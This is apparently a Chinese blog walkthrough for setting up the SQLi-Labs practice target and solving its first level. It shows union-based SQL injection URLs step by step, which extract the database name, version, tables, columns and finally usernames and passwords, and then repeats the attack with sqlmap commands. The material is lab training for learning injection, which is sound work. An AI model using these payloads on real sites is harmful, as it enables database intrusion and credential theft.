SQL注入绕过实战案例一

目录

一、SQL-LAB靶场搭建

1、搭建环境

2、开启nginx和mysql

3、将下载好的sal-labs靶场将压缩文件解压至phpstudy的www目录下

4、查看mysql密码,将其修改值靶场配置文件中

5、配置网站

6、完成后我们就可以在浏览器输入127.0.0.1:8090进入靶场

 二、sql-lab靶场闯关

第一关:

1、查看是否有注入

2、查看数组数据

3、联合查询

(1)查看表列是否相同**

(2)联合查询

 查询数据库名:

 打印断点调试:

 同时查看mysql版本号:

 查看当前用户权限:

 4、查询数据库下所有表名

三、使用sqlmap工具进行注入

1、打开Windows自带命令窗口,进入相应的目录

2、 执行其中的sqlmap.py

3、 使用sqlmap 对第一关进行漏洞检测

4、查询数据库

5、查看权限

6、查看security数据库下的表

7、 查表下的列

8、查最终字段


一、SQL-LAB靶场搭建

1、搭建环境

php小皮面板下载:小皮面板(phpstudy) - 让天下没有难配的服务器环境!

具体配置教程:VScode的PHP远程调试模式Xdebug_奈何@_@的博客-CSDN博客

sql-lab安装包我已经上传资源,可以自行下载

 2、开启nginx和mysql

SQL注入绕过实战案例一_第1张图片

3、将下载好的sal-labs靶场将压缩文件解压至phpstudy的www目录下

SQL注入绕过实战案例一_第2张图片

SQL注入绕过实战案例一_第3张图片

4、查看mysql密码,将其修改值靶场配置文件中

SQL注入绕过实战案例一_第4张图片

SQL注入绕过实战案例一_第5张图片

SQL注入绕过实战案例一_第6张图片

SQL注入绕过实战案例一_第7张图片

5、配置网站

打开小皮网站,找一个没有使用的端口作为网站端口,然后把靶场文件作为网站根目录

注意:最好使用5.xxx版本,实测7.xxx版本无法使用

SQL注入绕过实战案例一_第8张图片

SQL注入绕过实战案例一_第9张图片

6、完成后我们就可以在浏览器输入127.0.0.1:8090进入靶场

点击:Setup/reset Database for labs,对靶场需要的数据进行初始化,会自动创建好靶场所需要的数据库内容。初始化完成后就可以愉快的开始闯关了。

SQL注入绕过实战案例一_第10张图片

SQL注入绕过实战案例一_第11张图片

 二、sql-lab靶场闯关

第一关:

思路:逃逸单引号,闭合单引号

联合查询 —— union

and查询——and

得到管理员用户名和密码——前提:处于那个数据库下,那个表下,那个字段里面

SQL注入绕过实战案例一_第12张图片

1、查看是否有注入

http://127.0.0.1:8090/Less-1/?id=1''

SQL注入绕过实战案例一_第13张图片

2、查看数组数据

SQL注入绕过实战案例一_第14张图片

SQL注入绕过实战案例一_第15张图片

3、联合查询

前置条件——两个表,列相同

(1)查看表列是否相同**

order by——排序函数(可用1代表第一列,一次类推)

mysqsl注释方法
单行注释
-- 
#
多行注释
//
/* */

从第一列开始一次测试:

http://127.0.0.1:8090/Less-1/?id=1%27%20order%20by%201--+
http://127.0.0.1:8090/Less-1/?id=1%27%20order%20by%202--+
http://127.0.0.1:8090/Less-1/?id=1%27%20order%20by%203--+

前三列均正常:

SQL注入绕过实战案例一_第16张图片

直到第四列开始无法识别:

http://127.0.0.1:8090/Less-1/?id=1%27%20order%20by%204--+

SQL注入绕过实战案例一_第17张图片

可见第三列正常,第四列不正常,由此判断前三列的列表相同

(2)联合查询

http://127.0.0.1:8090/Less-1/?id=1%27%20union%20select%201,2,3

SQL注入绕过实战案例一_第18张图片

这里为什么出现问题呢?由此引出union联合查询的规则

注意:union联合查询遵循前假后真原则:当前一个查询结果为真时,后续查询则拒绝执行

解决方法:将id=1更改为id = -1,使之无法查询

http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,2,3--+

SQL注入绕过实战案例一_第19张图片

可以确定username在2字段,password在3字段

 查询数据库名:
http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,database(),3--+

可见前端已经将数据库打印并显示出来

SQL注入绕过实战案例一_第20张图片

打印断点调试:

SQL注入绕过实战案例一_第21张图片

SQL注入绕过实战案例一_第22张图片

此时查询数据成为2,3字段

 同时查看mysql版本号:
 
http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,database(),version()--+

SQL注入绕过实战案例一_第23张图片

查看当前用户权限:
http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,user(),version()--+

SQL注入绕过实战案例一_第24张图片

 4、查询数据库下所有表名

http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

SQL注入绕过实战案例一_第25张图片

查看这四个表,猜测其中user的重要性最高,我们首先来查看user表
 

http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27and%20table_name=%27users%27--+

可见user表中id,username,password

SQL注入绕过实战案例一_第26张图片

使用group_concat函数user表内查询user 和password

group_concat函数:可查询多行数据

http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,group_concat(username,0x3a,password),3%20from%20users--+

由此查出username和password的具体数据:

SQL注入绕过实战案例一_第27张图片

也可以单独查询username和password

username:

http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,username,3%20from%20users--+

SQL注入绕过实战案例一_第28张图片

password:

http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,password,3%20from%20users--+

SQL注入绕过实战案例一_第29张图片

也可以使用concat函数查询

concat函数:可查询单行数据

http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,concat(username,0x3a,password),3%20from%20users--+

SQL注入绕过实战案例一_第30张图片

可以使用limit 1,1来将查询数据进行多行显示,有几行就写几个1

http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,concat(username,0x3a,password),3%20from%20users%20limit%201--+

SQL注入绕过实战案例一_第31张图片

三、使用sqlmap工具进行注入

1、打开Windows自带命令窗口,进入相应的目录

D:\software\computing\Program\Python311

SQL注入绕过实战案例一_第32张图片

2、 执行其中的sqlmap.py

SQL注入绕过实战案例一_第33张图片

python sqlmap/sqlmap.py

SQL注入绕过实战案例一_第34张图片

3、 使用sqlmap 对第一关进行漏洞检测

python sqlmap/sqlmap.py -u http://127.0.0.1:8090/Less-1/?id=-1

SQL注入绕过实战案例一_第35张图片

4、查询数据库

python sqlmap/sqlmap.py -u http://127.0.0.1:8090/Less-1/?id=-1 --dbs

SQL注入绕过实战案例一_第36张图片

5、查看权限

python sqlmap/sqlmap.py -u http://127.0.0.1:8090/Less-1/?id=-1 --current-user

SQL注入绕过实战案例一_第37张图片

6、查看security数据库下的表

python sqlmap/sqlmap.py -u http://127.0.0.1:8090/Less-1/?id=-1 -D security --tables

SQL注入绕过实战案例一_第38张图片

7、 查表下的列

python sqlmap/sqlmap.py -u http://127.0.0.1:8090/Less-1/?id=-1 -D security -T users --columns

SQL注入绕过实战案例一_第39张图片

8、查最终字段

python sqlmap/sqlmap.py -u http://127.0.0.1:8090/Less-1/?id=-1 -D security -T users --dump "username,password"

SQL注入绕过实战案例一_第40张图片

你可能感兴趣的:(网络渗透防御,数据库,sql-labs,SQL注入,渗透)